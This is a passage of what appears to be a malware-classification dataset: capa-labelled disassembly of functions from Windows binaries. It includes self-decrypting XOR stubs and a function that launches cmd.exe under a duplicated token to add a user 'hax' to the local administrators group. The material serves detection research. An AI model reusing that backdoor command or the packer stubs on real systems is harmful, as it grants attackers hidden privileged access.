joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003c730
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov esi, edx
mov rbx, rcx
xor edx, edx
mov r15d, r8d
mov r14d, r9d
call qword [0x1400e9f34]
cmp esi, 1
je 0x14003c848
xor r13d, r13d
mov eax, 0x10
cmp esi, 2
mov r12d, 0x20
sete bpl
mov edi, 0xf0
cmovne r12d, eax
mov eax, 0xb0
sete r13b
cmovne edi, eax
movzx ebp, bpl
lea r13d, [r13*4 + 4]
lea ebp, [rbp*4 + 0xa]
mov rax, qword [0x1400cca80]
lea rcx, [rbx + 0x40]
mov dword [rbx + 0x18], esi
mov r8d, 0x100
mov dword [rbx + 0x1c], r15d
lea rdx, str.cw
mov dword [rbx + 0x30], r14d
mov byte [rbx + 0x34], 0
add rax, 0x10
mov qword [rbx + 0x38], 0
mov qword [rbx], rax
movabs rax, 0x1000000004
mov qword [rbx + 0x10], rax
call fcn.140062ea0
lea rcx, [rbx + 0x140]
mov r8d, 0x100
lea rdx, [0x140072120]
call fcn.140062ea0
mov dword [rbx + 0x20], r13d
movabs rax, 0x402010080402018d
mov qword [rbx + 0x240], rax
mov eax, 0xffffabd8
mov dword [rbx + 0x248], 0x6c361b80
mov word [rbx + 0x24c], ax
mov dword [rbx + 0x24], r12d
mov dword [rbx + 0x28], ebp
mov dword [rbx + 0x2c], edi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov r13d, 6
mov r12d, 0x18
mov ebp, 0xc
mov edi, 0xd1
jmp 0x14003c799

Function at 0x14003c870
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbp, qword [rcx + 0x38]
mov rax, qword [rbp]
mov rbx, rcx
mov edi, edx
mov rsi, r8
test rax, rax
je 0x14003c894
mov eax, dword [rax]
cmp eax, 1
jle 0x14003c8a7
mov rdx, qword [rbp + 0x10]
mov r8d, 1
mov rcx, rbp
call qword [0x1400e9b04]
mov r9, qword [rbp + 8]
movzx r10d, dil
xor eax, eax
nop dword [rax]
mov ecx, dword [rbx + 0x10]
mov edx, eax
sar edx, 2
mov r8d, ecx
imul edx, ecx
mov ecx, eax
imul r8d, r10d
and ecx, 3
lea edx, [rdx + r8*4]
add edx, ecx
mov rcx, qword [rsi + 8]
movsxd rdx, edx
movzx edx, byte [rcx + rdx]
xor byte [r9 + rax], dl
add rax, 1
cmp rax, 0x10
jne 0x14003c8b8
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x14003c9f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [rcx + 0x38]
mov rax, qword [rbx]
test rax, rax
je 0x14003ca08
mov eax, dword [rax]
cmp eax, 1
jle 0x14003ca1b
mov rdx, qword [rbx + 0x10]
mov r8d, 1
mov rcx, rbx
call qword [0x1400e9b04]
mov rax, qword [rbx + 8]
lea r8, [rax + 0x10]
movzx edx, byte [rax]
add rax, 4
movzx r11d, byte [rax - 3]
movzx r10d, byte [rax - 2]
xor r10b, byte [rax - 1]
mov ebx, edx
xor r11d, edx
xor dl, byte [rax - 1]
mov ecx, r11d
mov r9d, r11d
shr cl, 7
xor r9d, r10d
add r11d, r11d
lea ecx, [rcx + rcx*2]
xor ebx, r9d
lea ecx, [rcx + rcx*8]
xor ecx, ebx
movzx ebx, byte [rax - 3]
xor r11d, ecx
mov byte [rax - 4], r11b
movzx r11d, byte [rax - 3]
xor r11b, byte [rax - 2]
xor ebx, r9d
mov ecx, r11d
add r11d, r11d
shr cl, 7
lea ecx, [rcx + rcx*2]
lea ecx, [rcx + rcx*8]
xor ecx, ebx
xor r11d, ecx
mov ecx, r10d
add r10d, r10d
mov byte [rax - 3], r11b
movzx r11d, byte [rax - 2]
shr cl, 7
lea ecx, [rcx + rcx*2]
lea ecx, [rcx + rcx*8]
xor r11d, r9d
xor r9b, byte [rax - 1]
xor ecx, r11d
xor r10d, ecx
mov ecx, edx
add edx, edx
shr cl, 7
mov byte [rax - 2], r10b
lea ecx, [rcx + rcx*2]
lea ecx, [rcx + rcx*8]
xor ecx, r9d
xor edx, ecx
mov byte [rax - 1], dl
cmp r8, rax
jne 0x14003ca23
add rsp, 0x20
pop rbx
ret

Function at 0x14003cae0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [rcx + 0x38]
mov rax, qword [rbx]
test rax, rax
je 0x14003cb01
mov eax, dword [rax]
cmp eax, 1
jle 0x14003cb14
mov rdx, qword [rbx + 0x10]
mov r8d, 1
mov rcx, rbx
call qword [0x1400e9b04]
mov r11, qword [rbx + 8]
lea rsi, [r11 + 0x10]
movzx r15d, byte [r11]
mov edx, 0xe
add r11, 4
mov ecx, r15d
call fcn.14003c6c0
movzx r14d, byte [r11 - 3]
mov edx, 0xb
mov ebx, eax
mov ecx, r14d
call fcn.14003c6c0
movzx r13d, byte [r11 - 2]
mov edx, 0xd
xor ebx, eax
mov ecx, r13d
call fcn.14003c6c0
movzx r12d, byte [r11 - 1]
mov edx, 9
xor ebx, eax
mov ecx, r12d
call fcn.14003c6c0
mov edx, 9
mov ecx, r15d
xor ebx, eax
mov byte [r11 - 4], bl
call fcn.14003c6c0
mov edx, 0xe
mov ecx, r14d
mov ebx, eax
call fcn.14003c6c0
mov edx, 0xb
mov ecx, r13d
xor ebx, eax
call fcn.14003c6c0
mov edx, 0xd
mov ecx, r12d
xor ebx, eax
call fcn.14003c6c0
mov edx, 0xd
mov ecx, r15d
xor ebx, eax
mov byte [r11 - 3], bl
call fcn.14003c6c0
mov edx, 9
mov ecx, r14d
mov ebx, eax
call fcn.14003c6c0
mov edx, 0xe
mov ecx, r13d
xor ebx, eax
call fcn.14003c6c0
mov edx, 0xb
mov ecx, r12d
xor ebx, eax
call fcn.14003c6c0
mov edx, 0xb
mov ecx, r15d
xor ebx, eax
mov byte [r11 - 2], bl
call fcn.14003c6c0
mov edx, 0xd
mov ecx, r14d
mov ebx, eax
call fcn.14003c6c0
mov edx, 9
mov ecx, r13d
xor ebx, eax
call fcn.14003c6c0
mov edx, 0xe
mov ecx, r12d
xor ebx, eax
call fcn.14003c6c0
xor ebx, eax
mov byte [r11 - 1], bl
cmp rsi, r11
jne 0x14003cb1c
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14003ce80
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rax, qword [0x1400e9b0c]
mov rbp, qword [r8 + 8]
mov r13, qword [r9 + 8]
mov rdx, qword [r8 + 0x10]
test rbp, rbp
mov r12, rcx
mov rsi, r8
mov qword [rcx], 0
cmove rbp, rax
test r13, r13
mov rdi, r9
mov qword [rcx + 8], 0
cmove r13, rax
mov rax, qword [r9 + 0x10]
mov qword [rcx + 0x10], 0
cmp rax, rdx
cmovg rax, rdx
test rax, rax
jle 0x14003cf33
lea r15, [rsp + 0x3f]
xor ebx, ebx
lea r14, [rsp + 0x20]
nop dword [rax]
movzx eax, byte [rbp + rbx]
mov r8, r14
mov rdx, rbx
mov rcx, r12
xor al, byte [r13 + rbx]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 1
mov byte [rsp + 0x3f], al
call qword [0x1400e9b24]
mov rax, qword [rsi + 0x10]
add rbx, 1
mov rdx, qword [rdi + 0x10]
cmp rax, rdx
cmovg rax, rdx
cmp rbx, rax
jl 0x14003cef0
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14005d840
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1400ccb80]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14005d8af
mov rcx, r9
call fcn.14005d710
test eax, eax
je 0x14005d8af
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14005d8ad
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x14005d8a4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14005d8af
add rdx, 0x28
cmp rdx, r9
jne 0x14005d890
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x1a7c2a8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1a7c2b2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1a7c2db
pop rbp
sub rbp, 0x33
sub rbp, 0x167c2a8
sub rsp, 0x20
add cl, ch
add al, 0
add byte [rax], al
add dword [rbx - 0x5d], ebp
xchg ebx, eax
jmp 0x1a7c2fa
mov rax, 0x167c2a8
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffdb804737
xor byte [rax], dl
inc rax
dec rcx
jne 0x1a7c319
jmp 0x1a7c330
jg 0x1a7c2f0
fidivr word [rsi + rdi*4 + 0x3737370b]
jg 0x1a7c2f1
idiv byte [rdi]
invalid
Function at 0x180011127
Capabilities:
Terminate process

Disassembly:
jmp 0x18001cbf0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x18001125d
Capabilities:
Get session user name

Disassembly:
jmp 0x180018dc0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x106
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x438]
mov rax, qword [0x180029018]
xor rax, rbp
mov qword [rbp + 0x3e8], rax
mov dword [rbp + 0x3d4], 0
lea rcx, [0x18002f00c]
call fcn.180011118
mov dword [rbp + 0x234], 0x101
lea rdx, [rbp + 0x234]
lea rcx, [rbp + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, 0x104
mov eax, eax
mov ecx, dword [0x1800294a0]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rax + rcx]
cmp dword [0x180029370], eax
jle 0x180018e8f
lea rcx, [0x180029370]
call fcn.1800114ec
cmp dword [0x180029370], 0xffffffff
jne 0x180018e8f
lea rdx, [rbp + 0x10]
lea rcx, [0x180029348]
call fcn.1800110b9
lea rcx, [0x180021af0]
call fcn.1800112e4
nop
lea rcx, [0x180029370]
call fcn.1800113c5
lea rdx, [0x180029348]
mov rcx, qword [rbp + 0x410]
call fcn.1800112d0
mov eax, dword [rbp + 0x3d4]
or eax, 1
mov dword [rbp + 0x3d4], eax
mov rax, qword [rbp + 0x410]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x180024570]
call fcn.180011622
mov rax, rdi
mov rcx, qword [rbp + 0x3e8]
xor rcx, rbp
call fcn.180011195
lea rsp, [rbp + 0x3f8]
pop rdi
pop rbp
ret
Function at 0x180011514
Capabilities:
Create process on windows
Create process suspended

Disassembly:
jmp 0x180019710
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x60]
mov rdi, rsp
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180029018]
xor rax, rbp
mov qword [rbp + 0x230], rax
lea rcx, [0x18002f00c]
call fcn.180011118
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0x10], 0x68
mov eax, 5
mov word [rbp + 0x50], ax
lea rax, str.WinSta0Default
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rbp + 0xc8], 0
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov dword [rbp + 0xe4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0xc8]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov r9d, 4
lea r8, [rbp + 0xe4]
mov edx, 0xc
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
lea rdx, str._WINDIR__system32cmd.exe
lea rcx, [rbp + 0x1e8]
call fcn.180011163
mov qword [rbp + 0x218], rax
mov rcx, qword [rbp + 0x218]
call fcn.18001135c
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x98]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x30
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.__K_net_user__add_hax_hax__net_localgroup_administrators_hax__add
mov rdx, qword [rbp + 0x220]
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov dword [rbp + 0x1c4], eax
lea rcx, [rbp + 0x1e8]
call fcn.180011550
cmp dword [rbp + 0x1c4], 0
je 0x1800198d4
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x180024368]
call fcn.180011622
mov rax, rdi
mov rcx, qword [rbp + 0x230]
xor rcx, rbp
call fcn.180011195
lea rsp, [rbp + 0x248]
pop rdi
pop rbp
ret
Function at 0x1401696d4
Capabilities:
Encode data using xor

Disassembly:
lea rsp, [rsp + 8]
jmp fcn.14012f5e8
mov r9d, 0x10341809
jmp 0x14016e2cd
mov qword [rsp], r11
sbb edx, 0x19110a8f
jp 0x140136556
lea r11, [0x140161cb0]
mov edx, 0x8c3cf137
movzx edx, byte [rax]
xor edx, r8d
and edx, 0xff
mov edx, dword [r11 + rdx*4]
push 0xffffffffa4028239
shr r8d, 8
shr byte [rsp + 1], 0x65
xor r8d, edx
inc rax
xor r8d, 0x55250bbc
dec rbp
push 0xfffffffffd2eb28c
lea rsp, [rsp + 0x10]
jne 0x1401696eb
pop r11
mov rax, qword [r9 + rbx - 0x10341809]
mov r9, qword [rbx + r9*2 - 0x2068300a]
mov ecx, 0x82361328
mov cl, byte [rbx + 0x10]
add rbx, 0xa
push 0xfffffffffaada425
shld rax, r9, cl
mov qword [rbx], rax
jmp 0x140133fce

Function at 0x180e46b64
Capabilities:
Encode data using xor

Disassembly:
jmp 0x180e46b6e
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x180e46b97
pop rbp
sub rbp, 0x33
sub rbp, 0xe46b64
cmp edx, 1
je 0x180e46bda
ldmxcsr dword [rsp]
add rsp, 8
popfq
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
xor rax, rax
ret
sub rsp, 0x20
jmp 0x180e46bea
mov rax, 0xe46b64
add rax, rbp
add rax, 0xb8
mov rcx, 0x60b
mov rdx, 0x569c6288
xor byte [rax], dl
inc rax
dec rcx
jne 0x180e46c09
jmp 0x180e46c20
rol byte [rcx], 0x61
add eax, dword [rcx]
mov ah, 0x88
mov byte [rax - 0x7fb6f640], cl
mov dword [rax + 0x6189c088], ecx
ror byte [rdi + 0x48], 0x8f
mov byte [rax + 0x4a4fc088], cl
movabs al, byte [0x89c06a7fc0888888]
add rcx, qword [r9]
test byte [rax - 0x763f7778], cl
invalid
Function at 0x1400088d0
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
xor r8, r8
push r8
push rax
pushfq
push r8
push rdx
sub rsp, 0xa8
push r8
push r15
push r14
push r13
push r12
push rbx
push r8
push rsi
push rdi
push rbp
push rax
push rdx
sub rsp, 0x290
movdqa xmmword [rsp + 0x2f0], xmm6
movdqa xmmword [rsp + 0x300], xmm7
movdqa xmmword [rsp + 0x310], xmm8
movdqa xmmword [rsp + 0x320], xmm9
movdqa xmmword [rsp + 0x330], xmm10
movdqa xmmword [rsp + 0x340], xmm11
movdqa xmmword [rsp + 0x350], xmm12
movdqa xmmword [rsp + 0x360], xmm13
movdqa xmmword [rsp + 0x370], xmm14
movdqa xmmword [rsp + 0x380], xmm15
mov eax, dword [0x1407ab14c]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
lea rdx, [rsp + 0x20]
xor r8, r8
mov qword [rdx + 0x10], r8
mov byte [rdx + 0x19], 1
mov dword [rdx + 0x1c], 0xffffffff
mov byte [rdx + 0x18], 2
mov r8, qword [rax + 0x80]
mov qword [rdx], r8
mov qword [rax + 0x80], rdx
lea r8, [rsp + 0x290]
mov qword [rdx + 8], r8
call fcn.1401d3a90
int3
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xd8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov eax, dword [0x1407ab14c]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
mov qword [rsp + 0xc0], rax
cmp rcx, qword [rax + 0x88]
sete byte [rsp + 0xd0]
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [r8 + 0x18]
mov rbx, qword [rax]
mov rax, qword [r8 + 0x20]
mov rbp, qword [rax]
mov rax, qword [r8 + 0x28]
mov rsi, qword [rax]
mov rax, qword [r8 + 0x30]
mov rdi, qword [rax]
mov rax, qword [r8 + 0x58]
mov r12, qword [rax]
mov rax, qword [r8 + 0x60]
mov r13, qword [rax]
mov rax, qword [r8 + 0x68]
mov r14, qword [rax]
mov rax, qword [r8 + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [r8 + 0x90]
movdqa xmm7, xmmword [r8 + 0xa0]
movdqa xmm8, xmmword [r8 + 0xb0]
movdqa xmm9, xmmword [r8 + 0xc0]
movdqa xmm10, xmmword [r8 + 0xd0]
movdqa xmm11, xmmword [r8 + 0xe0]
movdqa xmm12, xmmword [r8 + 0xf0]
movdqa xmm13, xmmword [r8 + 0x100]
movdqa xmm14, xmmword [r8 + 0x110]
movdqa xmm15, xmmword [r8 + 0x120]
mov rcx, qword [r8 + 0x78]
mov rdx, qword [rsp + 0x120]
call qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rdx + 0x70]
cmp rcx, 0
je 0x140008a60
mov r9, qword [rdx + 0x68]
mov qword [r9], rcx
mov qword [rdx + 0x68], 0
mov qword [rdx + 0x70], 0
mov rcx, qword [rsp + 0x138]
mov r8, qword [r8 + 0x78]
xor r9d, r9d
mov rcx, qword [rcx]
cmp rcx, r9
je 0x140008a7c
cmp rcx, r8
jl 0x140008a6f
mov qword [rdx + 0x80], rcx
test dword [0x1407a2c88], 1
je 0x140008aab
cmp byte [rsp + 0xd0], 0
je 0x140008aab
mov rcx, 0x43
mov rdx, rax
mov rsp, r8
jmp 0x1400085d0
mov rsp, r8
jmp rax
Function at 0x140016d60
Capabilities:
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0xc0
mov rax, qword [0x140790380]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, r9
mov rbx, r8
mov r14, rdx
mov rdi, rcx
test rcx, rcx
je 0x140016e4f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, 0x48
lea rdx, [rsp + 0x60]
mov rcx, rax
call sub.KERNEL32.dll_K32GetProcessMemoryInfo
test eax, eax
je 0x140016e4f
mov rdx, qword [rsp + 0x70]
test r14, r14
je 0x140016e2a
xorps xmm0, xmm0
test rdx, rdx
js 0x140016dd1
cvtsi2ss xmm0, rdx
jmp 0x140016de9
mov rax, rdx
mov rcx, rdx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm1, xmm0
xorps xmm0, xmm0
mulsd xmm1, qword [0x1406f2d50]
test rdi, rdi
js 0x140016e03
cvtsi2ss xmm0, rdi
jmp 0x140016e1b
mov rax, rdi
mov rcx, rdi
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm0, xmm0
divsd xmm1, xmm0
cvttsd2si rax, xmm1
mov dword [r14], eax
xor eax, eax
test rbx, rbx
je 0x140016e41
cmp rdx, rdi
jbe 0x140016e3b
mov qword [rbx], rax
jmp 0x140016e41
sub rdi, rdx
mov qword [rbx], rdi
test rsi, rsi
je 0x140016f18
jmp 0x140016f15
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x28]
jae 0x140016ef2
test r14, r14
je 0x140016ee1
mov rcx, rdx
xorps xmm0, xmm0
sub rcx, qword [rsp + 0x50]
js 0x140016e8b
cvtsi2ss xmm0, rcx
jmp 0x140016ea0
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
cvtps2pd xmm1, xmm0
xorps xmm0, xmm0
mulsd xmm1, qword [0x1406f2d50]
test rdx, rdx
js 0x140016eba
cvtsi2ss xmm0, rdx
jmp 0x140016ed2
mov rax, rdx
mov rcx, rdx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm0, xmm0
divsd xmm1, xmm0
cvttsd2si rax, xmm1
mov dword [r14], eax
test rbx, rbx
je 0x140016ee9
mov qword [rbx], rdx
test rsi, rsi
je 0x140016f18
xor eax, eax
jmp 0x140016f15
test r14, r14
je 0x140016efe
mov eax, dword [rsp + 0x24]
mov dword [r14], eax
test rbx, rbx
je 0x140016f0b
mov rax, qword [rsp + 0x30]
mov qword [rbx], rax
test rsi, rsi
je 0x140016f18
mov rax, qword [rsp + 0x40]
mov qword [rsi], rax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140066260
mov rbx, qword [rsp + 0xe0]
add rsp, 0xc0
pop r14
pop rdi
pop rsi
ret
Function at 0x140066940
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006698a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006698a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006698a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006698a
cmp dword [rcx + 0x84], 0xe
jbe 0x14006698a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006698c
xor al, al
add rsp, 0x28
ret

Function at 0x14006b230
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14006b258
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14006b258
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1400739b0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0xd0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x50], xmm4
xor eax, eax
mov qword [rbp - 0x40], rax
mov rbx, rdx
mov rsi, r8
mov rdi, r9
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x48], rcx
lea rdx, [rbp - 0x40]
cmp dword [rcx], ecx
call fcn.1401dbfe0
nop
test rbx, rbx
je 0x140073a06
add rbx, 0xc
mov rdx, rbx
jmp 0x140073a08
xor edx, edx
mov qword [rbp - 0x50], rdx
mov rcx, qword [rbp - 0x48]
mov rbx, qword [rbp + 0x30]
mov qword [rsp + 0x20], rbx
mov rbx, qword [rbp + 0x38]
mov qword [rsp + 0x28], rbx
mov rcx, qword [rcx + 8]
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x60], rdx
mov r8, rsi
mov qword [rbp - 0x68], r8
mov r9, rdi
mov qword [rbp - 0x70], r9
lea rcx, [rbp - 0x98]
call fcn.140008080
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x60]
mov r8, qword [rbp - 0x68]
mov r9, qword [rbp - 0x70]
call sub.ADVAPI32.dll_RegQueryValueExW
mov ebx, eax
lea rcx, [rbp - 0x98]
call fcn.1400080d0
nop
xor ecx, ecx
mov qword [rbp - 0x50], rcx
cmp byte [rbp - 0x40], 0
je 0x140073a85
mov rcx, qword [rbp - 0x48]
cmp byte [rcx], cl
xor edx, edx
call fcn.1401dc020
mov eax, ebx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x14008bc20
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov rbx, rcx
mov rsi, rdx
mov edi, r8d
mov qword [rbp - 0x40], r9
mov r14, r9
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov r15, qword [rbp + 0x30]
mov qword [rsp + 0x20], r15
mov rcx, rbx
mov qword [rbp - 0x4c], rcx
mov rdx, rsi
mov qword [rbp - 0x54], rdx
mov r8d, edi
mov dword [rbp - 0x44], r8d
mov r9, r14
mov qword [rbp - 0x5c], r9
lea rcx, [rbp - 0x88]
call fcn.140008080
mov rcx, qword [rbp - 0x4c]
mov rdx, qword [rbp - 0x54]
mov r8d, dword [rbp - 0x44]
mov r9, qword [rbp - 0x5c]
call sub.KERNEL32.dll_WriteFile
mov ebx, eax
lea rcx, [rbp - 0x88]
call fcn.1400080d0
call sub.KERNEL32.dll_GetLastError
mov esi, eax
xor eax, eax
mov qword [rbp - 0x40], rax
call fcn.140003bd9
mov dword [rax + 0xe0], esi
mov eax, ebx
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret